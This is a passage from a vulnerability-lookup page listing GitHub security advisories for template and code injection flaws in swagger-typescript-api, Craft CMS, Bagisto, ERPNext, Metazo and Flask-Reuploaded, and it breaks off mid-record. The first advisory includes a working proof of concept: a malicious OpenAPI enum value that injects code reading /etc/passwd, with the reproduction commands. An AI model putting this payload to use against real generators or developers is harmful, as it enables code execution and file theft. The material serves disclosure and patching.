Vulnerability-Lookup

GHSA-5F94-X226-CCPM

Vulnerability from github – Published: 2026-07-29 14:33 – Updated: 2026-07-29 14:33

Summary

swagger-typescript-api vulnerable to code injection via unescaped enum string values

Details

Summary

swagger-typescript-api interpolates components.schemas.*.enum[i] string values into the body of generated TypeScript enum declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call — only an import of the generated module. The attacker controls the OpenAPI spec (remote --url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc.

Details

The root cause is Ts.StringValue in src/configuration.ts:250:

StringValue: (content: unknown) => `"${content}"`,

It wraps a value in double quotes with zero escaping — no handling of ", \, newlines, or anything else. The codebase's only escape function (escapeJSDocContent in src/schema-parser/schema-formatters.ts:127) only replaces */ and is never applied to this path.

Enum string values reach Ts.StringValue at src/schema-parser/base-schema-parsers/enum.ts:100 and :116:

return this.config.Ts.StringValue(value);
// ...
value: this.config.Ts.StringValue(enumName),

The result is interpolated raw into the enum body in templates/base/enum-data-contract.ejs (default enumStyle: "enum" branch, lines 24-31):

export enum <%~ name %> {
  <%~ _.map($content, ({ key, value, description }) => {
    ...
    return [
      formattedDescription && `/** ${formattedDescription} */`,
      `${key} = ${value}`
    ].filter(Boolean).join("\n");
  }).join(",\n") %>
}

Where ${value} is the result of Ts.StringValue — raw "${content}". An attacker-controlled enum value containing a " closes the string and exposes the surrounding code position to injection.

A ;} sequence terminates the enum body mid-stream. A { opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing // consumes the closing " that Ts.StringValue still appends, and the template's own closing } of the enum becomes the closing } of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare await import('./generated.js').

The same Ts.StringValue function is also called from src/schema-parser/schema-utils.ts:215,406, src/schema-parser/base-schema-parsers/object.ts:47, and src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe by accident of context, not by escaping. A fix that hardens Ts.StringValue itself protects those sites too as defense in depth.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious enum value (literal string, JSON-encoded in the spec below):

blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
  "components": {
    "schemas": {
      "Color": {
        "type": "string",
        "enum": [
          "red",
          "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
        ]
      }
    }
  },
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": {
          "200": {
            "description": "OK",
            "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
          }
        }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (enum block — payload):

    export enum Color {
  Red = "red",
  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
 }

The ;} closes the enum body. The {...} after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.

Result: after bare import of the bundle, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely. Concrete scenarios:

sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
Any project pinned to a spec file that a contributor can modify via PR — the spec change is itself the exploit.

Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate HttpClient, does not need to call any API method, does not need to use the enum value — they only need to import the generated module (or anything that transitively imports it, e.g. the data-contracts.ts file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.

Privilege: the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.

Suggested fix: harden Ts.StringValue in src/configuration.ts:250 to produce a properly-escaped JavaScript string literal — escape at minimum ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators /. JSON.stringify on the content is a one-line acceptable implementation. This single change also protects every other call site of Ts.StringValue (currently safe only by accident of landing in type-level positions).

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

8.3 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:33:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates `components.schemas.*.enum[i]` string values into the body of generated TypeScript `enum` declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at **module load** the first time the generated client is imported. The trigger requires no instantiation and no method call \u2014 only an `import` of the generated module. The attacker controls the OpenAPI spec (remote `--url`, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process\u0027s privileges \u2014 read any file the importer can read, write any file, exfiltrate secrets, etc.\n\n### Details\n\nThe root cause is `Ts.StringValue` in `src/configuration.ts:250`:\n\n```ts\nStringValue: (content: unknown) =\u003e `\"${content}\"`,\n```\n\nIt wraps a value in double quotes with **zero escaping** \u2014 no handling of `\"`, `\\`, newlines, or anything else. The codebase\u0027s only escape function (`escapeJSDocContent` in `src/schema-parser/schema-formatters.ts:127`) only replaces `*/` and is never applied to this path.\n\nEnum string values reach `Ts.StringValue` at `src/schema-parser/base-schema-parsers/enum.ts:100` and `:116`:\n\n```ts\nreturn this.config.Ts.StringValue(value);\n// ...\nvalue: this.config.Ts.StringValue(enumName),\n```\n\nThe result is interpolated raw into the enum body in `templates/base/enum-data-contract.ejs` (default `enumStyle: \"enum\"` branch, lines 24-31):\n\n```ejs\nexport enum \u003c%~ name %\u003e {\n  \u003c%~ _.map($content, ({ key, value, description }) =\u003e {\n    ...\n    return [\n      formattedDescription \u0026\u0026 `/** ${formattedDescription} */`,\n      `${key} = ${value}`\n    ].filter(Boolean).join(\"\\n\");\n  }).join(\",\\n\") %\u003e\n}\n```\n\nWhere `${value}` is the result of `Ts.StringValue` \u2014 raw `\"${content}\"`. An attacker-controlled enum value containing a `\"` closes the string and exposes the surrounding code position to injection.\n\nA `;}` sequence terminates the enum body mid-stream. A `{` opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing `//` consumes the closing `\"` that `Ts.StringValue` still appends, and the template\u0027s own closing `}` of the enum becomes the closing `}` of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare `await import(\u0027./generated.js\u0027)`.\n\nThe same `Ts.StringValue` function is also called from `src/schema-parser/schema-utils.ts:215,406`, `src/schema-parser/base-schema-parsers/object.ts:47`, and `src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195`. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime \u2014 they are safe **by accident of context**, not by escaping. A fix that hardens `Ts.StringValue` itself protects those sites too as defense in depth.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 bare-import \u2192 check canary) is added in the comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious enum value** (literal string, JSON-encoded in the spec below):\n\n```\nblue\";}\u003cNEWLINE\u003e{(async()=\u003e{ try { const fs=await import(\u0027node:fs\u0027); const d=fs.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027,d); } catch(e){} })();//\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"EnumPayloadAPI\", \"version\": \"1.0.0\" },\n  \"components\": {\n    \"schemas\": {\n      \"Color\": {\n        \"type\": \"string\",\n        \"enum\": [\n          \"red\",\n          \"blue\\\";}\\n{(async()=\u003e{try{const fs=await import(\u0027node:fs\u0027);const d=fs.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);fs.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}})();//\"\n        ]\n      }\n    }\n  },\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": { \"application/json\": { \"schema\": { \"$ref\": \"#/components/schemas/Color\" } } }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import(\u0027./out/Api.bundle.mjs\u0027); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (enum block \u2014 payload):**\n\n```ts\n    export enum Color {\n  Red = \"red\",\n  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = \"blue\";}\n{(async()=\u003e{try{const fs=await import(\u0027node:fs\u0027);const d=fs.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);fs.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}})();//\"\n }\n```\n\nThe `;}` closes the enum body. The `{...}` after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.\n\n**Result:** after bare `import` of the bundle, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`\"enum\": [\"red\", \"blue\"]`) generates a clean enum and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely. Concrete scenarios:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR \u2014 the spec change is itself the exploit.\n\n**Lifecycle:** the bare-block IIFE fires at **module load**. A consumer does not need to instantiate `HttpClient`, does not need to call any API method, does not need to use the enum value \u2014 they only need to `import` the generated module (or anything that transitively imports it, e.g. the `data-contracts.ts` file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.\n\n**Suggested fix:** harden `Ts.StringValue` in `src/configuration.ts:250` to produce a properly-escaped JavaScript string literal \u2014 escape at minimum `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators `` / ``. `JSON.stringify` on the content is a one-line acceptable implementation. This single change also protects every other call site of `Ts.StringValue` (currently safe only by accident of landing in type-level positions).\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-5f94-x226-ccpm",
  "modified": "2026-07-29T14:33:01Z",
  "published": "2026-07-29T14:33:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-5f94-x226-ccpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped enum string values"
}

GHSA-5FVC-7894-GHP4

Vulnerability from github – Published: 2026-03-03 21:01 – Updated: 2026-03-04 18:39

Summary

Craft CMS has Twig Function Blocklist Bypass

Details

Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.

In order to be able to successfully execute this attack, you need to either have allowAdminChanges enabled on production, or a compromised admin account, or an account with access to the System Messages utility.

Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.

Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.

https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096

This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the enableTwigSandbox config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.

Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.

Resources

https://github.com/craftcms/cms/pull/18208

Severity

6.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.9.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-184",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:01:27Z",
    "nvd_published_at": "2026-03-04T17:16:21Z",
    "severity": "MODERATE"
  },
  "details": "Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.\n\nIn order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility.\n\nSeveral PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.\n\nTwig has already deprecated this behavior, and it will eventually be removed from Twig altogether.\n\nhttps://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096\n\nThis has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.\n\nExisting projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.\n\n## Resources\n\nhttps://github.com/craftcms/cms/pull/18208",
  "id": "GHSA-5fvc-7894-ghp4",
  "modified": "2026-03-04T18:39:13Z",
  "published": "2026-03-03T21:01:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-5fvc-7894-ghp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28783"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/pull/18208"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS has Twig Function Blocklist Bypass"
}

GHSA-5J4H-4F72-QPM6

Vulnerability from github – Published: 2026-01-02 22:13 – Updated: 2026-01-08 21:35

Summary

Bagisto has Normal & Blind SSTI from low-privilege user when ordering product

Details

Summary

SSTI when normal customer orders any product in add address step can inject value run in admin view.

Details

As normal user 1. Go to http://127.0.0.1:8000/ 2. Add order to cart and continue to checkout 3. In step of add address inject this value {{7*7}} in any input

As admin 1. Go to http://127.0.0.1:8000/admin/sales/orders 2. And notice the vlaue appear in admin view 49

As normal user 3. Go to add address normally http://127.0.0.1:8000/customer/account/addresses/create and inject {{7*7}} on it and will notice it appear 49

PoC

Video attached with the report: https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d

Impact

Can lead to RCE

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T22:13:40Z",
    "nvd_published_at": "2026-01-02T21:15:59Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSSTI when normal customer orders any product in add address step can inject value run in admin view.\n### Details\n`As normal user`\n1. Go to `http://127.0.0.1:8000/`\n2. Add order to cart and continue to checkout \n3. In step of add address inject this value {{7*7}} in any input\n\n`As admin`\n1. Go to `http://127.0.0.1:8000/admin/sales/orders`\n2. And notice the vlaue appear in admin view 49\n\n`As normal user`\n3. Go to add address normally `http://127.0.0.1:8000/customer/account/addresses/create` and inject {{7*7}} on it and will notice it appear 49\n\u003cimg width=\"1868\" height=\"868\" alt=\"image\" src=\"https://github.com/user-attachments/assets/279627e9-6361-4d39-a500-0fc20e163d25\" /\u003e\n\n\n### PoC\n - Video attached with the report:  https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d\n\n\n### Impact\n- Can lead to RCE",
  "id": "GHSA-5j4h-4f72-qpm6",
  "modified": "2026-01-08T21:35:56Z",
  "published": "2026-01-02T22:13:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-5j4h-4f72-qpm6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21448"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/releases/tag/v2.3.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bagisto has Normal \u0026 Blind SSTI from low-privilege user when ordering product"
}

GHSA-5X94-7MHW-9FF6

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 15:30

Details

A Server-Side Template Injection (SSTI) vulnerability exists in the Frappe ERPNext through 15.89.0 Print Format rendering mechanism. Specifically, the API frappe.www.printview.get_html_and_style() triggers the rendering of the html field inside a Print Format document using frappe.render_template(template, doc) via the get_rendered_template() call chain. Although ERPNext wraps Jinja2 in a SandboxedEnvironment, it exposes sensitive functions such as frappe.db.sql through get_safe_globals(). An authenticated attacker with permission to create or modify a Print Format can inject arbitrary Jinja expressions into the html field. Once the malicious Print Format is saved, the attacker can call get_html_and_style() with a target document (e.g., Supplier or Sales Invoice) to trigger the render process. This leads to information disclosure from the database, such as database version, schema details, or sensitive values, depending on the injected payload. Exploitation flow: Create a Print Format with SSTI payload in the html field; call the get_html_and_style() API; triggers frappe.render_template(template, doc) inside get_rendered_template(); leaks database information via frappe.db.sql or other exposed globals.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-66438"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T18:15:48Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Template Injection (SSTI) vulnerability exists in the Frappe ERPNext through 15.89.0 Print Format rendering mechanism. Specifically, the API frappe.www.printview.get_html_and_style() triggers the rendering of the html field inside a Print Format document using frappe.render_template(template, doc) via the get_rendered_template() call chain. Although ERPNext wraps Jinja2 in a SandboxedEnvironment, it exposes sensitive functions such as frappe.db.sql through get_safe_globals(). An authenticated attacker with permission to create or modify a Print Format can inject arbitrary Jinja expressions into the html field. Once the malicious Print Format is saved, the attacker can call get_html_and_style() with a target document (e.g., Supplier or Sales Invoice) to trigger the render process. This leads to information disclosure from the database, such as database version, schema details, or sensitive values, depending on the injected payload. Exploitation flow: Create a Print Format with SSTI payload in the html field; call the get_html_and_style() API; triggers frappe.render_template(template, doc) inside get_rendered_template(); leaks database information via frappe.db.sql or other exposed globals.",
  "id": "GHSA-5x94-7mhw-9ff6",
  "modified": "2025-12-16T15:30:32Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66438"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-5"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-5-239e6086eadc80a48f17c1257a604d2c?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-65HW-C9G5-R8MM

Vulnerability from github – Published: 2025-04-28 15:31 – Updated: 2025-04-28 15:31

Details

IPW Systems Metazo through 8.1.3 allows unauthenticated Remote Code Execution because smartyValidator.php enables the attacker to provide template expressions, aka Server-Side Template-Injection. All instances have been patched by the Supplier.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-46661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T13:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "IPW Systems Metazo through 8.1.3 allows unauthenticated Remote Code Execution because smartyValidator.php enables the attacker to provide template expressions, aka Server-Side Template-Injection. All instances have been patched by the Supplier.",
  "id": "GHSA-65hw-c9g5-r8mm",
  "modified": "2025-04-28T15:31:41Z",
  "published": "2025-04-28T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46661"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com/public-vulnerability-list"
    },
    {
      "type": "WEB",
      "url": "https://www.ipwsystems.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-65MP-FQ8V-56JR

Vulnerability from github – Published: 2026-02-25 19:06 – Updated: 2026-02-25 19:06

Summary

Flask-Reuploaded vulnerable to Remote Code Execution via Server-Side Template Injection

Details

Impact

A critical path traversal and extension bypass vulnerability in Flask-Reuploaded allows remote attackers to achieve arbitrary file write and remote code execution through Server-Side Template Injection (SSTI).

Patches

Flask-Reuploaded has been patched in version 1.5.0

Workarounds

Do not pass user input to the name parameter
Use auto-generated filenames only
Implement strict input validation if name must be used

from werkzeug.utils import secure_filename
import os

# Sanitize user input before passing to save()
safe_name = secure_filename(request.form.get('custom_name'))
# Remove path separators
safe_name = os.path.basename(safe_name)
# Validate extension matches policy
if not photos.extension_allowed(photos.get_extension(safe_name)):
    abort(400)

filename = photos.save(file, name=safe_name)

Resources

The fix is documented in the pull request, see https://github.com/jugmac00/flask-reuploaded/pull/180.

A proper write-up was created by the reporter of the vulnerability, Jaron Cabral (https://www.linkedin.com/in/jaron-cabral-751994357/), but is not yet available as of time of this publication.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flask-reuploaded"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T19:06:50Z",
    "nvd_published_at": "2026-02-25T04:16:04Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nA critical path traversal and extension bypass vulnerability in Flask-Reuploaded allows remote attackers to achieve arbitrary file write and remote code execution through Server-Side Template Injection (SSTI).\n\n### Patches\nFlask-Reuploaded has been patched in version 1.5.0\n\n### Workarounds\n\n1. **Do not pass user input to the `name` parameter**\n2. Use auto-generated filenames only\n3. Implement strict input validation if `name` must be used\n\n```python\nfrom werkzeug.utils import secure_filename\nimport os\n\n# Sanitize user input before passing to save()\nsafe_name = secure_filename(request.form.get(\u0027custom_name\u0027))\n# Remove path separators\nsafe_name = os.path.basename(safe_name)\n# Validate extension matches policy\nif not photos.extension_allowed(photos.get_extension(safe_name)):\n    abort(400)\n    \nfilename = photos.save(file, name=safe_name)\n```\n\n### Resources\nThe fix is documented in the pull request, see https://github.com/jugmac00/flask-reuploaded/pull/180.\n\nA proper write-up was created by the reporter of the vulnerability, Jaron Cabral (https://www.linkedin.com/in/jaron-cabral-751994357/), but is not yet available as of time of this publication.",
  "id": "GHSA-65mp-fq8v-56jr",
  "modified": "2026-02-25T19:06:50Z",
  "published": "2026-02-25T19:06:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-65mp-fq8v-56jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27641"
    },
    {
      "type": "WEB",
